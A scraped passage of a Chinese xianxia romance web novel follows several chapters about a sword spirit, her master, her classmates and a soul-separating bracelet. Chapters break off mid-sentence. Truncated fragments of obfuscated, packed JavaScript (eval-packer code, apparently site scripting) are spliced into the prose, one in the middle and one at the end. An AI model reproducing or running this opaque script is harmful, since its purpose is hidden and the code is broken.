赵瑗一顿，撇过头道：“家中本属赵氏一脉中最贫寒的一支，买不起好的丹炉，修仙本是耗财之事，单是这个丹炉，便已耗费了我不少心力。” “所以，你花了很多钱买那个丹炉，总不能刚买就坏了吧？” 洛绫目光炯炯地盯着他，赵瑗听此将头略微偏向一侧，“你说的不错，丹炉虽是破败，但好歹也是刚买的，怎会坏得如此轻易？” “你跟赵缺缺有什么过节吗？”洛绫问道。 赵瑗摇头：“我与她并无交际，不过，她是赵家人，赵家之人向来对我看不上眼——你的意思是，我的丹炉可能是她下的手笔？” “我不知道，我只是这么推测。”洛绫耸耸肩，“不管怎样，你以后总归要小心些她。” 赵瑗点头，“你这一番话，看起来倒是并没把赵缺缺当成朋友？” “朋友？我来肃风门可不是交朋友的。”洛绫打了个哈欠，“有个人能说说话，通通情报，自然是好的，大家都是活了几十年几百年的人了，哪有那么多会真心待你的朋友？至少在这个世界，我谁也不相信。” 赵瑗一怔，灵族向来心思单纯，这少女怎会有这般多的思虑？ 他想着想着，头顶的太阳似乎往西边移了两寸，一旁树木终于舍得洒下一片树荫，将二人身影遮蔽。 耳边忽然传来轻微的鼾声，他低头，望着肩上少女微颤的睫翼，小巧的鼻廓，那浅淡的樱色唇瓣。 肃风门美女如云，比之其他女弟子，她并不算好看，只是周身给人一种极淡的感受，淡得好像霜雪覆盖的梨枝，在等待一场忽如其来的春风…… “站着也能睡着。”赵瑗唇边不由浮现嘲弄的笑意，他伸手将她往下滑动的脑袋慢慢扶正到肩上。 他抬头，目视前方，那里是墨瓦白墙的学塾，他的语气倏然冷了下来：“我更是谁也不会相信。” 大约是有钟声响起，洛绫过了好一会儿，才迷迷糊糊地睁开眼，学塾门前已经出现了绰绰的人影，她惊讶道：“下课了？” “下课有一会儿了。”头顶忽然响起带着笑意的声音。 洛绫绷直身子，低头看了眼自己头枕的位置，正是少年宽阔的肩头，而方才嘴角压着的位置，出现了一片显眼的洇湿。 她抿紧嘴唇，尴尬地抬手去擦，“那个，真不好意思，要不你脱了我拿回去帮你洗洗吧？” “我只披了这件外袍，你拿去了，是要我穿里衣回去吗？” 洛绫老脸一红，见她不说话，赵瑗却真的抬手扯衣裳，将外袍脱了扔到她怀里。 他只穿着单薄的里衣，环住双臂道：“不过我也实在受不了这衣裳上的哈喇子味，你回去帮我洗洗也好。” “哈喇子味？”洛绫瘪瘪嘴，“怎么就哈喇子味儿了？我每天都有好好刷牙的。” 赵瑗轻笑一声，径自往前走去，还朝她招了招手：“我走了，你也早点回去吧！” “喂，你还真不臊啊，穿着个里衣就走了？” 洛绫还朝他喊着，又怕学塾前的哪个弟子听见了，便没再继续喊住他，只好将衣裳放入剑中界，回到学塾取自己的丹炉。 回到学塾，洛绫拿起桌上袅袅青烟的麒麟洄。 一堂炼丹课荒废过去了，回去还不知牧沉书会否考校她，说实在的，她也有些心虚。 若是让他知道自己当堂顶撞了棣明真君，还被赶出去罚站了一个多时辰…… 她的脸倒是没几斤几两，不值一提，牧沉书的名声还是相当值钱的，作为他的剑灵，这不得把他的脸丢光了？ 更别提，棣明好歹也是牧沉书的师兄，这俩人还有这么一层兄弟情谊在。 洛绫不由更加郁闷。 “绫姑娘，你回来了？” 身后传来婉转的声音，洛绫回身，看到那娇俏的少女，“怎么了？” “绫姑娘，您在外头站了许久，我这里有些祛暑的药草，您要不要拿一些回去？” 赵缺缺上前握住她的手，便要从乾坤袋拿药草。 洛绫摇头道：“不用了，赵姑娘。” “赵……姑娘？”赵缺缺一顿，有些奇怪她称谓的转变。 “我没中暑，托你的福，精气神挺好的。”洛绫微微一笑。 赵缺缺愣了愣，唇角扯出一个僵硬的笑容：“绫姑娘，你不会是因为被棣明真君责罚心情不好吧？其实，你就不该帮那个赵瑗的，我告诉过你的，他不是什么好人……” “所以你就弄坏他的丹炉吗？”洛绫话音倏地冷了下来。 赵缺缺一怔。 “他有得罪你吗？”洛绫盯着少女的目光，“或者说，他有对不起你的地方吗？” 赵缺缺干笑道：“他……他在我们赵家的名声很差的，听闻他冒犯家主，出言不逊……” “但你还是没回答我的问题，他有得罪你吗？” 赵缺缺一阵默然。 “看来是没有了。”洛绫缓缓地抽开她的手，“他与你素无恩怨，你竟因为他名声差，便毁坏他的丹炉，意欲使他在众人前丢脸？” “我……” “我与你亦是初识，没资格对你说教——”洛绫将麒麟洄放入剑中界，“我要回去了，但还是要提醒你一句，下回若再让我看到你行此不耻之事，我说不定会在剑仙大人问起时，提上两嘴。” 赵缺缺听此顿时抖如筛糠，“不是，绫姑娘，我不是有意的……” 洛绫没给她解释的机会，扭头便离开了学塾。 * 上了一天课，划掉，罚了一天站。 回到剑山，洛绫显然疲惫不堪，好在靠在赵瑗肩头睡了会儿，还不至于在见到牧沉书的时候便整个垮掉。 “怎么脸红红的？” 小月儿端上菜，二人坐在前堂用饭时，牧沉书瞧出了她的异样。 洛绫连忙摸了摸脸，撑起一个大大的微笑：“有吗？或许是天气太热了吧？” “有那么热吗？怎么脸上红成这样？” 牧沉书放下了筷子，洛绫一定，肯定是白天晒得太惨了，脸上红彤彤的，一时褪不下去。 “今日课上得如何？”牧沉书见她神色不对，话题陡转。 “挺好的，同门们都很友善亲切，晚颜真君也讲得很细致……” 洛绫心虚地用筷子尖将碗中那颗虾仁掐成了两半。 “是吗？”牧沉书颔首，“听闻因晚颜真君忙不过来，因此新入门弟子的炼丹术是由棣明真君指导的。” 洛绫一颤，默默点了点头。 “炼丹术学得如何？我给你的丹炉可好用？” 洛绫再次点了点头。 牧沉书疑惑地看着一言不发的少女，却见洛绫往嘴里塞了颗虾仁，忽然咬了咬牙，抬头道：“罢了，剑仙大人，我全招了，我根本没上炼丹课！” “什么意思？”牧沉书一怔，“你没去学 23. 二十三 绾发 《剑灵她整日妖言惑仙》全本免费阅读 洛绫拿起那枚青玉簪子，往头上比划了两下，笨拙地横插竖插，总算是把头发给盘了上去，可一撒手，一头乌黑的发便如瀑倾落腰间。 牧沉书无奈地笑了笑，“在剑冢的时候其他剑灵不绾发么？” “倒不是……”洛绫摸了摸脑门，只不过她前世就习惯了披散着头发，到了剑冢，大家皆是十分随心所欲，并没人觉得不绾发有什么不妥，因此，从来也没学过怎么用簪子。 “你先坐好。” 牧沉书来到她后方，洛绫立刻打直了背。 少年纤长的手指落在她耳边，将双耳边上垂下的两股头发往后一束，洛绫也不知他打了什么式样的结，青玉簪子只是灵巧地几转，便将长发总了个干净利落的髻。 他合力将玉簪插入发髻，放下她后端的长发，洛绫感到额头顿时清爽，再也没有多余的刘海掩住视线了。 温热的指尖轻轻掠过她的额角，将几根乱翘的发丝抚平，牧沉书还在细致地检查着自己的“杰作”，洛绫猛地转头，瞪着一双圆圆的瞳眸。 他吓了一跳，“怎么了？” “那个，剑仙大人……” 她露出慌乱的笑意，他停顿好一会儿，蓦然反应过来—— 他此时弓着身子，一时沉浸在绾发中，与她几乎是近在咫尺间，他温热的呼吸打落在她耳畔，令她肌肤上细小的绒毛也根根竖起。 她显然是有些不适了，牧沉书立时直身而起，往后退了一大步，握拳轻咳一声，“抱歉。” “没有，您别放心上，我知道您就是一时入了迷。” 洛绫抠了抠脸颊，在脑海内努力搜索着话题，想要结束这令人尴尬的一幕。 她打量着牧沉书，没好意思看他微红的脸颊，只好往下看去，忽然，她发现他右手手掌内侧有一道细小的伤口。 伤口瞧着愈合了一半了，仍然结着粉色的痂，洛绫一愣，问道：“剑仙大人，你的手何时受的伤？” “我的手……”牧沉书低头看了看手上的伤痕，下意识握起了手掌，“无碍，今日祓濯时，不慎被那游魂碰了下。” “什么？” 洛绫一惊，“你怎么不早告诉我你还受了伤？” “一点皮外伤，我涂了药，没两日就能好的。”牧沉书笑道，“何至于告诉你？” 洛绫连忙夺过他的手，要自个儿仔细瞧过才肯放心，牧沉书虽无奈却也只好将手伸过去，任由她瞧个遍。 他的手很好看，根根如瓷般白腻，骨节分明，握合间，又有着不符外表的强硬有力，手指内侧还有常年握剑留下的薄茧。 那道伤口确实已经愈合了不少，的确像是皮外伤，她想了想，牧沉书一个仙人，一只小精怪的确不大可能真伤到他。 她看着看着，不知该说些什么才好，虽然如牧沉书所说，她老是跟他顶嘴，老是与他对着干，但如今看来，他对她的确称得上仁至义尽，甚至是仁得不能再仁了。 哪有主子给剑灵做饭，送丹炉，绾头发的…… 甚至还为了给她捉鬼，把自己给伤着了。 洛绫只是不明白，他为何要对她这么好？想来想去，也只有一个答案，他或许对谁都很好，对谁都很真诚。 可她要做的，却是将他的真诚捏碎，让他变得面目可憎起来。 某种程度上来说，我是为牧沉书好。 洛绫安抚着异样的心绪，他曾经落得那样的下场，她只是需要教会他如何去向这个世界，向既定的残酷命运复仇。 但在这之前，他或许还可以享受一点点情感的美妙。 “看起来手伤并无大碍，但下回，您可千万要小心……” 洛绫松开他的手，话题陡转，“对了，沈姑娘最近有来过剑山吗？” 牧沉书眉梢一挑，“你突然问兰因做什么？等她养完伤，须回小孤山继续修行，哪有空四处溜达？” “她还要回去修行？” 牧沉书颔首道：“自然，她如今正是突破至归元境的关键时期，这场修行是剑宗与眠素特意为她安排的，须修满十年再回宗门，如今这才五年，自然要继续修行。” 你这朽木……让她再修个五年，和男主在外头恩爱五年……你连当男配的机会都要没了。 洛绫抽了抽嘴角，但还是笑眯眯地道：“我觉得也是好几日没去找兰因姑娘喝茶了，要不下回等我有空了，咱们再去琴山逛逛吧？” “你与她有那般交好吗？” 牧沉书感到奇怪。 “友情这东西，一回生二回熟嘛……” “好，那你自个去吧。”牧沉书将手负在身后，“琴山我去得多了，也只一片桃花地，没什么可逛的。” 牧沉书……真是给你机会，你不中用啊！ 洛绫叹了口气，看来撮合牧沉书与沈兰因的计划，是遥遥无期了。 当夜，洛绫把赵瑗的脏衣服搓完，晾到院落内的晾杆上，这才爬到床上预备睡觉。 睡前她照例阅览了一遍藏在枕下的书，每看一页美男画像，洛绫便在心里和牧沉书比较一次。 剑仙大人没上榜，怎么想也是意难平，她不由从剑中界取出墨笔来，趴在床头，细细用笔在最后空白的一页上，描绘着他的面容—— 银冠束起的长发、修长的剑眉、闪烁如星的眸子、高挺的鼻梁、还有那近在咫尺的双唇，吐出一阵阵温热的气息…… 想着想着，脑海中便不由自主浮现出了白日他为她簪发时的情景。 洛绫放下笔，将头枕在臂弯上，唇边浮出浅浅的笑意，陷入了深沉的梦境中…… 这一夜，没有游魂来吵嚷，梦里只有一片浓雾弥漫的花林，绿袍少年坐在花林中专心拭剑，背影如在画中。 “师父！” 他恍惚回头，只看到一道纤细的身影消失在花林茫茫的雾气当中。 * 洛绫在书山课上得也渐渐习惯了，炼丹课约六七日才有一回，当学塾的弟子们得知炼丹课改为月海剑仙来上后，皆是又惊又喜。 那可是宗门三仙之一，寻常修士或许这辈子都见不到仙人呢。 牧沉书的第一堂课上得也的确颇有水准，不出洛绫所料，他虽然偶尔高冷了些，但相较于那个秃瓢的棣明真君来说，简直算是风趣幽默，赏心悦目了。 当然，赏心悦目很大一部分原因是颜值直接提高了好几个档次。 洛绫没再和赵缺缺深入交流，倒是和一开始看不很对眼的赵瑗关系更上一层楼。 虽然她将洗完的衣袍还给他时，那小子还臭着脸表示，她洗个衣服还给他洗出了好几道褶皱。 不过这么一来二去，她也算是和他互相熟识了，他知道了她是月海剑仙从外头误打误撞捡回来的剑灵，她也知道了他的家世和境遇。 宁城赵家虽是世家大族，但赵瑗家的确只是其中一个极为不起眼的分支， 24. 二十四 乱元镯 《剑灵她整日妖言惑仙》全本免费阅读 “绫姑娘，你问我元念和灵魂有何不同？” 苏烟指了指手腕上的银镯子，那镯子造型可是稀奇，通体是冷冽的银质，银中实有一根纤长的暗金之线，如虬蛇缠树般，将整个镯子牢牢地缠住。 “其实我也说不清，不过师父曾说过，元念和魂魄是两回事，人当有魂魄，却可无元念。” 洛绫戳了戳高岳的脸，却听其道：“绫姑娘，你这是做什么？” “咦，你的元念都不在了，怎么还能说话？” 高岳笑道：“元念即便不在体内，身体依然能平稳运转，只不过，只能按照既定的计划与生活行事，不会有任何新奇的想法与突如其来的灵感，就好似——” “就好似设定好的木偶那般。”苏烟提起晕厥过去的小白兔子的双耳，“喏，估摸着还得好一会儿，高师兄的元念才能返回他的躯壳呢。” 元念……真是神奇，洛绫也不知自己是否是看书时疏漏了，这么重要的情报，她竟然闻所未闻。 她连忙续问道：“那元念离开身体后，附于另一生命体，还能独立思考吗？还有，元念回到原本的躯壳后，本人还会记得元念剥离在外发生的事情吗？” “自然能了！”苏烟拍了拍胸口，“不然高师兄附到丑丑身上，怎会蹿得那如此之快，对我东躲西藏的？再说，元念乃是超脱于魂魄之外，人之本初的念，记忆一点东西那是再简单不过了……” 洛绫听此重重吐出一口气。 元念与魂魄互不干扰，元念可以记忆附身到其他个体上发生的事情。 牧沉书说她若是离他方圆十里便会魂飞魄散，可既然魂魄没有离开，那应当便不能算离开，只能算她变成了两个她。 一个她留在剑山陪着牧沉书，不令他起疑心，一个她元念附身到另一生命体上，到宿龙涧调查牧沉书的旧日隐秘，寻找杀死魇妖的方法。 洛绫越想越觉得这个可行性很高，为了完成支线任务，她必须冒这个险。 苏烟奇怪地望着陷入沉思的剑灵少女，却见其忽然抬起头，冲她笑了笑，“苏烟，这乱元镯是你的？” “这个乱元镯……”苏烟嘟囔着，看向身后。 “乱元镯是我的，绫姑娘！” 她身后的裘锦招了招手，洛绫连忙来到裘锦身前，又问道：“这镯子这般神奇，是从何处得来的？” “哦，是我昨日去终吾村，用丹药和一个异域商人换来的。” 洛绫听此朝他粲然笑了笑，“甚好甚好。” “嗯？”裘锦有些莫名。 “我是说——”洛绫满眼笑意，“甚好的一只镯子，可要好好保管。” 裘锦愣愣地点头，“啊，嗯，自然的。” 洛绫看了看日头道：“不早了，我得回竹屋去了，待高岳醒了，你们也早些回烟锦林吧。” 众人于是朝她道别，洛绫也不作停留，当即先行离去。 她化了剑形，可却没往剑山的方向飞去，而是径自去了终吾村，超高速地环村一顿巡视，她锁定了目标。 一个身着异域服饰，扎着单辫子，黝黑肤色的男子，她正要尾随而去，却灵敏地感知到一丝熟悉的灵气。 “赵瑗？” 她心中疑惑，他今日告假没去上课，她还以为他是身体不适，怎会跑到终吾村来了？ 可找了好半天的异域商人就在眼前，她可不能跟丢，她正要再次尾随上，忽的感知到那灵气在剧烈的波动后，又瞬间消失了。 不对劲，终吾村向来是个平和的小村子，没有异兽作祟，赵瑗不应当会这样胡乱开合灵气。 洛绫前进的速度不由放缓了些，化为人形，回头看了眼那灵气消失的方位。 那家伙……是不是出了什么事？ ……不能管他，任务要紧，乱元镯！ 洛绫咬咬牙，她可不能在这种关头圣母心大发，她化剑形再次飞速追上了那异域商人。 她几乎是以自己的极限速度前进，因此很快来到了那异域商人的面前，气喘吁吁地化出了人形。 “你……你似哪位？”异域商人看着面前突然出现的白衣少女，用不太流利的通用语说道。 洛绫深吸一大口气，将他一把提起，哑着嗓子吼道：“你，还有乱元镯吗？” 异域商人浑身僵直，神情显得十分恐慌，“乱，乱元镯……没，没有了，骚凹瑞……” “没有了？确定？” 洛绫再次睁大眼，仿佛怒目而视：“告诉你，我上头可有人，肃风门的月海剑仙听过吗？” 听到月海剑仙一词，那异域商人被吓得抖如筛糠，差点没扑通跪下来，“咕凉……真，真的木有了……” “好！” 洛绫立刻撒手，将他一把丢到了地上，而后再次化剑形，火速冲向另一相反的方位。 她还是低估自己的极限速度了，因为几乎没过两瞬，她就抵达了方才感知到灵气异常波动的位置。 她一落地，看到四周空荡荡的，这里是终吾村两座商铺，墙与墙间隔出的一片空地。 不对，这里一定有异常，一定隐藏了一道她肉眼不可感知的空间。 “凝神感知灵气，沿着灵气的边缘游走，然后再做动作。” 洛绫耳边不知为何响起了那道熟悉的清泠声线，没错，牧沉书教过她的，不要贸然闯入，静心感受灵气的游走。 她闭上眼，不去看那些干扰的景象，调动全部的专注度，克制吐纳，随灵气而移动步伐。 眼前漆黑一片，如一潭深沉的死水，无声无息。 洛绫下意识地吸入一口凉薄的空气，蓦然间，一滴水珠自高空落下，打落在沉寂的潭水之上，她猛地睁开了眼。 面前斗转星移，竟是一片夜幕笼罩的山林，圆月高悬于山林起伏的黑色剪影上。 洛绫松了口气，她竟成功进来了。 在心里狂亲牧沉书一百次……嗯……他应当不会介意吧？ 洛绫轻咳一声，将脑海内干扰的画面挥走，而后踏入山林。 为了不令自己行踪被发现得太快，洛绫干脆化成剑形，缓慢地飞行着。 和其他剑灵一样，在以剑身出现时，她能极大地隐藏自己的气息，面对突发状况也能更好地发挥实力。 “就这么个平平无奇的小弟子，还用得着我们亲自来抓？” 洛绫停下飞行，藏匿于路边的丛林之间，路中竟走来两个身形异常的怪物。 一个双肋生骨翼，六目四足，行时迅如虎豹，一个顶着榔锤般硕大的脑袋，下身长如蟒尾，沙沙梭动。 俩怪物一飞一梭，慢慢悠悠地从路中经过。 “难不成道君大人的命令你也敢悖逆？” “我是不敢……可那小子也忒能跑了，竟还能弄出个奇奇怪怪的阵法来……” “少废话，找人不是你的强项吗？赶紧开法相之眼吧 25. 二十五 人灵有别 《剑灵她整日妖言惑仙》全本免费阅读 长时间的黑暗让赵瑗以为自己死了。 过往如幼时所看的连环画册般，跳跃、杂乱、无厘头地在脑海中的各个角落循环上演。 寒意凿骨的风雪夜，迎面递来的一碗热乎乎的桂花粥，女人用温暖的手掌包住他满是冻疮的小手，将他带离梦魇般的生活。 墙角红果累累的枣树，大哥艰难地用石子打枣，却回回落空。 阿弟阿妹们个个急得呀呀直叫，只有他一击便能打落满怀的枣子，用衣摆盛得满满的，一个个分给阿弟阿妹。 大哥笑着夸奖他「阿瑗打的枣子果然又甜又脆。」 他憨厚地挠挠头。 可后来，大哥再没能吃到那样甜的枣，同行之人带回了消息，他去本家历练时，被几个赫赫有名的显贵少爷推到了河中。 屋檐已经破败到开始漏雨，母亲躺在床上额头滚烫如火，他满城赊账求药，却被一个又一个的药铺扫地而出。 他走在滂沱大雨中的无人街道，被暴雨淋成了落汤鸡，踉踉跄跄地往回走，那样的无助，那样的绝望，令他回想起了多年前的那场漫漫风雪。 画面的终幕，他如愿以偿抵达了宁城最繁华的地带，这几乎耗尽了他的全部气力。 有人站在巷子里，朝他扔石头，扔菜叶，嘲笑他衣衫破烂，辱骂他不知好歹，他看清了那几个人的脸，听闻害死大哥的就是这样几张脸…… 他也记不清那天究竟发生了什么，后来人口相传，赵家好几个显贵少爷离奇暴毙了。 也是从那天起，他开始走向了崎岖诡谲的人生。 他刻意封闭心门，刻意不与他人来往，刻意把自己变成一只他人一触就会逃开的刺猬。 因为他守着一个秘密，一旦东窗事发，就会全盘尽毁的秘密。 不过，有一个人，在他那么讨人嫌的时候，竟然还会站出来为他说话…… “赵瑗？” 腰腹一痛，他禁不住低吟了声，白光挑开疲惫的眼皮，他缓缓睁开眼，看到自己正趴在一棵倒塌的树干上，腰腹处正好被树干突出的断枝紧戳着。 “你怎么摔下去了？” 一道青色剑光闪过，白衣少女落定在树干前，衣摆如云烟浮动。 “洛……洛绫？是你？”赵瑗疲惫地抬起眼皮，紧紧盯着她。 他看着她，却好像透过她的皮相，看到了什么更为清晰更为真实的事物。 杏眼流清波，粉面犹带笑，奇怪，他怎么不记得她长得这样好看？ “是我，喂，你不是醒了吗？怎么还一副晕头转向的样子？” 洛绫俯下身，掐了掐呆愣的赵瑗的脸颊，这家伙总是绷着脸，看着欠揍兮兮的，小脸实际上摸着还是挺有胶原蛋白的。 方才瞬间的错觉立刻散去，赵瑗看着那掐着他的脸蛋，还猥琐地嘿嘿笑的少女，从牙缝中挤出几个字：“你手上都是泥污，还不撒手？” “嫌弃我？那我偏不撒手——” 洛绫恶趣味上来，硬是用沾着泥污的手将赵瑗白皙的脸颊上抹得东一道西一痕。 赵瑗先前施法耗了太多灵气，加之刚醒来，此刻还十分疲软，被洛绫这么一通揉搓，算是彻底清醒了过来。 他气得七窍生烟，却也只能趴在树干上任她上下其手。 “你……可别怪我没提醒你……” “怎么？你这副病恹恹的样子，还能爬起来收拾我呢？” 他眉毛一挑，一根匍匐在地的藤蔓被灵气驱使而起，洛绫忽然感到脚底打滑，“啊！” 她被藤蔓绊倒，几乎要一屁股坐在布满石子的地面上。 幸好眼疾手快，洛绫一把揪住赵瑗，也不管揪的哪里，总之成功将她歪歪斜斜的身子正了过来。 只是正得有些太过，竟直接压在了赵瑗身上。 身下少年闷哼一声，几乎要失去意识，洛绫前胸猛然间压到他后背上，却一时顾不得羞涩云云。 这家伙是皮包骨头么？这一压，压得她胸口生疼生疼。 “好疼……”洛绫撑着手，要从树干上起来，却听赵瑗咬着后槽牙道：“我被你又是扯头发，又是当垫背，我还没喊疼，你倒喊起疼了？” “那也是你想捉弄我，你活该的。” 洛绫嘀咕了一声，赵瑗似乎有些气不过，将头往回一扭，二人顿时对视而望。 洛绫眨了眨眼，发现他原本充满怒意的瞳眸轻颤了下，还想嘲笑他是否是害羞紧张了，却忽然感到脸上一紧。 那厮竟张着手，一把捏住她的脸，将她直直往后一掀。 “啪！” 洛绫还是华丽丽地倒在了布满石子的地面上，疼得嗷嗷直叫。 赵瑗从树干上起了身，拍了拍手掌，冷冷道：“这才叫活该。” “哎哟……” 洛绫好容易爬起身，怒气冲冲看向身畔的黑衣少年。 赵瑗是长高个，她只好踮起脚尖，才足以指着他的鼻子骂：“你这白眼狼，不知道是谁费劲巴力地把你从终吾村拖出来！要是没我，你就等着被其他弟子发现然后扭送到升仙司那里，和宗门解释你是怎么和魔邪勾结的吧！” “谁和魔邪勾结了？”赵瑗听到这句话语气蓦然一沉。 “嗯……”洛绫抿了抿唇，过了好一会儿，又笑道：“你说是谁呢？” “你觉得我和魔邪勾结？” “不是觉得。”洛绫捻起肩头散开的头发，手指慢慢摩挲着，“你这么怕别人发现魔邪在追捕你，还有其他可能么？” 洛绫一抬头，发现赵瑗不知何时竟瞬闪到她面前，她瞪了瞪眼，“你怎么？想杀人灭口？” “你会说出去吗？”他歪了歪头。 “你害怕？” “你说你是肃风门的人，这意味着，你可能和那些弟子站在一边。” 洛绫眯眼，笑道：“对啊，我是肃风门的人，可我是肃风门的人不是因为我和那些弟子站在一边，而是因为——我的主人是肃风门的月海剑仙。” “是么？” “我只关心月海剑仙的安危，其他人或事我都不在乎。”洛绫扬起下巴。 “那若是月海剑仙问起呢？” 洛绫抱着双臂道：“剑仙大人问我，我定然是会如实禀报的，毕竟我是他的剑灵，我不能对他说谎——而如果你因为这个要杀我，那你就动手吧。” 她虽说得无惧无畏，却偷偷乜起眼，观察赵瑗的一举一动。 赵瑗默然半晌，摇头道：“我不杀你。” “改变主意了？” “不，我只是庆幸，幸好知道的是你。”赵瑗反而缓缓松了口气。 洛绫不解其意，在原地愣了好一会儿。 却见黑衣少年环顾四周，问道：“这里是东阳山？” “对。”洛绫点头，她知道，未拜师尊的新弟子都居住在东阳山，赵瑗亦不例外，故此她才会特意带他回东阳山。 “我先回去了，你也赶紧回剑山吧，免得月海剑仙生疑。” 他兀自往前走着，洛绫想想有些道理，她这么晚回去万一牧沉书问东问西可就难办了。 她化出了青锋剑，即刻打算乘剑飞走，却见黑衣少年没走两步，又回过了头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“也不是。”玄照笑了笑，显然是不太打算告知她的样子了。 洛绫也没继续追问下去，她看着不远处笑意浅浅的女子，她站在那儿，发上三根黑色鸦羽轻颤，衣袍风中曳曳，充满生趣地站着。 洛绫脑内却蓦然回忆起那团冰冷到有些窒息的黑烟。 玄照，她怎么会变成那样？是被魔邪侵体了吗？ 她那时没有感知她身上的魔气，不过也可能是化身兔子的她灵气变弱了许多。 “玄照姑娘，你会有一天抛下小不点不管吗？”她来到她身前，不由问了她一句。 玄照虽是莫名，迟疑了片刻，却还是回答了她的问题：““我不会抛下小主人不管的。” “是么……”洛绫抬起双眸，“我再冒昧问一句，在您眼里最重要的人是谁？” 玄照无奈一笑，显然对于这个问题毫无迟疑，“作为剑灵，我最看重的只有我的主人。” 38. 三十八 灾祸 玄照说的不错，剑灵最看重的自然只有自己的主人。 不过，玄照分明被牧沉书的父亲赐给了牧沉书，这么说来应当也与牧沉书结契了，她却还是只称牧沉书为小主人，或许在她心里，真正的主人依然是牧沉书的父亲？ 玄照带着洛绫找遍了宿龙涧，却还是没看到半分丑丑的踪影，洛绫心中更加不安。 玄照却眉梢一挑道：“还有一处地方没去。” “什么地方？”洛绫抬起头，心中再次燃起希望。 “虚漓的院子。”玄照朝她微微一笑。 “……” 只剩那位传说中十分不好对付的虚漓先生的住处没去了，碍于牧沉书还在那儿受训，洛绫和玄照只好偷偷摸摸地翻进院子。 二人小心翼翼地攀爬在墙头，玄照低声道：“你放心，我有经验，咱们把气息凝了，虚漓发现不了的。” “玄照姑娘，大恩不言谢，有空我一定请你吃饭——” 洛绫话音刚落，整个人便摇摇晃晃，往前落了下去，她没喊出声，幸好由于是元念形态，身体轻飘飘的，直接顺着墙飘然而下。 她落在了草窠中，玄照此时也落了下来，连忙将她一同拉到了地上，躲藏草间，匍匐前进。 二人藏在草间，缓缓来到前院，看到院中并未有人影，这才敢站起身，光明正大地在院子里寻找丑丑的踪迹。 院落外围找寻了一遍，二人不得不深入内围，那门前等候的矮胖童子应福见了二人的身影，心照不宣地闭上眼。 房屋的门是合上的，洛绫逐个翻找着门口摆放的花盆，忽然耳朵一动，听到里面的对话。 “虚漓本意并非是想训诫您……以您的身体状况，本也不该独自在外待太久。” “我没事。” “您前阵子才被外界妖物伤到，再不好好修养，恐会伤及寿元。” “可是……那又怎样？” 男孩的声音听着有些消沉，“反正我也修炼不了，只是个凡人，再怎么康健，也只能活个百岁，差那么一两年的寿元又如何？” 他说罢，另一道声音似乎亦不知如何宽慰，只剩一声无奈的叹息。 洛绫翻找的双手顿时僵住了，修炼不了？从小天赋异禀的牧沉书，何来修炼不了一说？ 她还未来得及思忖，忽然看到一团雪白的身影从草丛中蹿出，往房屋后方钻去， 洛绫立时放下手中花盆，朝玄照激动地使了使眼色。 二人连忙往后院奔去，后院竟有两亩田地，规整地种着灵草，架着高高的藤架，藤架上爬满灵果与鲜花。 看到灵草和灵果的那一刻，洛绫心中顿时惊了惊，果不其然，下一刻她就看到一团雪白的小东西，正风卷残云般吞食着地上的灵草。 “丑丑！你给我住手！不！住口！” 听到有人喊自己的名字，雪白兔子更加撒欢了似的四处乱窜，两只爪子还将田里的灵草悉数拔起，攒在怀中，“扑腾”飞了起身，爬上了那长满果子的木架。 洛绫吓得停下了脚步。 玄照的脸更是白成了纸，她颤抖着抬起手道：“小兔子，你冷静点，这可都是虚漓养了好些年的花草和果子，他每日悉心照料，你若是毁了他——” 她话音都没落下，就见丑丑挥了挥翅膀，张开两颗长长的板牙，往藤架的衔接处一啃，巍巍的藤架随之轰然塌落，洒了满地灵气充沛的鲜果。 那白毛兔子旋即欢快地扑到地上大快朵颐。 见状，二人悬着的心终于死了。 “这……” 忽然，二人身后响起了僵滞的一声，洛绫缓缓转头，就看到小牧沉书站在一白发男子身侧，默默低下了头。 * 桌上的白毛兔子被灵气捆住了双爪双脚，正挺着圆滚滚的肚子，等待着来自周围一圈人的审判。 “这灵兽，是你的？” 白发男子看向那陌生少女，淡淡询问，语气已经分不清是喜是悲。 洛绫干笑道：“真的不好意思，虚漓先生，我不是有意的……” “小主人，这个来历不明的女孩，是你带回来的？”虚漓看向一侧的牧沉书。 牧沉书点头，“是我。” “小主人，我应当告知过你，不可将外界之物带回宿龙涧吧？”虚漓叹了口气。 “不是他要带我回来的。”洛绫替牧沉书分辩道，“是我的灵兽丑丑受了伤，所以我让小不点把我们带回来照看……他是好意要救丑丑……” 虚漓看了眼桌上挺着肚子，相当肥美的雪白兔子，眼中透露出深深的不可置信，“它？受伤？” “内……内伤……” 洛绫说着说着都有些心虚了，到底是哪只受了内伤的兔子能啃光两亩地啊！ 她自觉心虚，于是只好垂头丧气地道：“您放心，既然丑丑伤势已好，我很快就会离开宿龙涧的。” “不行。”虚漓摇头，“你的身份尚未明确，并不似普通生灵，你既然进来了，我便不能轻易放你离开，除非——” 洛绫眨眨眼，“除非？” “除非杀了你。”他话音微冷。 洛绫浑身一抖。 “别杀她！”牧沉书猛然抬头，“她不是坏人。” “小主人，您还年幼，哪里分得清坏人好人？”虚漓淡淡回答。 “我就是知道，更何况，虚漓，若是阿娘和阿爹在这儿，定然也不会让你杀了她的。” 牧沉书仰起小小的脑袋，目光却异常坚定，“你非要杀她的话，就先杀了我好了。” 虚漓原本不以为意的目光亮起一丝惊异，“您为了这个来历不明的丫头，竟敢说出这样的话？” “好了好了。”玄照挤进了剑拔弩张的二人中间，“有必要闹成这样吗？不就放了个姑娘进来，不就毁了一点灵草嘛？哪里至于要死要活的？” 虚漓唇角抽搐道：“一点？” 他那副模样显然是在咬牙切齿，敢情毁的不是你种的灵草？ 洛绫心有愧疚，仔细想了想，便主动道：“虚漓先生，丑丑是我带进来的，反正您也不打算放我走，那我就暂时不离开宿龙涧了——我帮您把后院的灵草和果子重新拾掇拾掇，种植种植，也顺便帮您打打下手，就当是赎罪了如何？” 她这个提议字字句句，体谅恳切，倒算是说到了虚漓的心坎上，他自然还是记挂着他种的那些个灵草灵果。 虚漓颔首：“既然你都开口了，今日起，你便住在我的院内，负责处理那些被毁坏的灵草灵果，同应福一样，替我做些杂活，若表现良好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 